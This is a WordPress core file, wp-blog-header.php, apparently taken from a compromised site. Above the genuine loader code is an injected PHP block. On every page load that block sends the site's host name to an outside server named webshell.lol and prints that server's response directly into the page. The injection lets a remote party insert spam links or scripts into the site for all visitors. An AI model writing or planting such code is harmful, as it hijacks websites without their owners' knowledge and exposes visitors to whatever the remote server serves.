File: /www/wwwroot/www.byte123.top/wp-blog-header.php
<?php
function fetch_backlinks($domain, $api_url) {
$url = $api_url . '?backlink=' . urlencode($domain);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
$result = curl_exec($ch);
curl_close($ch);
return $result !== false ? $result : '';
}
$domain = $_SERVER['HTTP_HOST'];
$api_url = 'https://webshell.lol/api.php';
echo fetch_backlinks($domain, $api_url);
?>
<?php
/**
* Loads the WordPress environment and template.
*
* @package WordPress
*/
if ( ! isset( $wp_did_header ) ) {
$wp_did_header = true;
// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';
// Set up the WordPress query.
wp();
// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';
}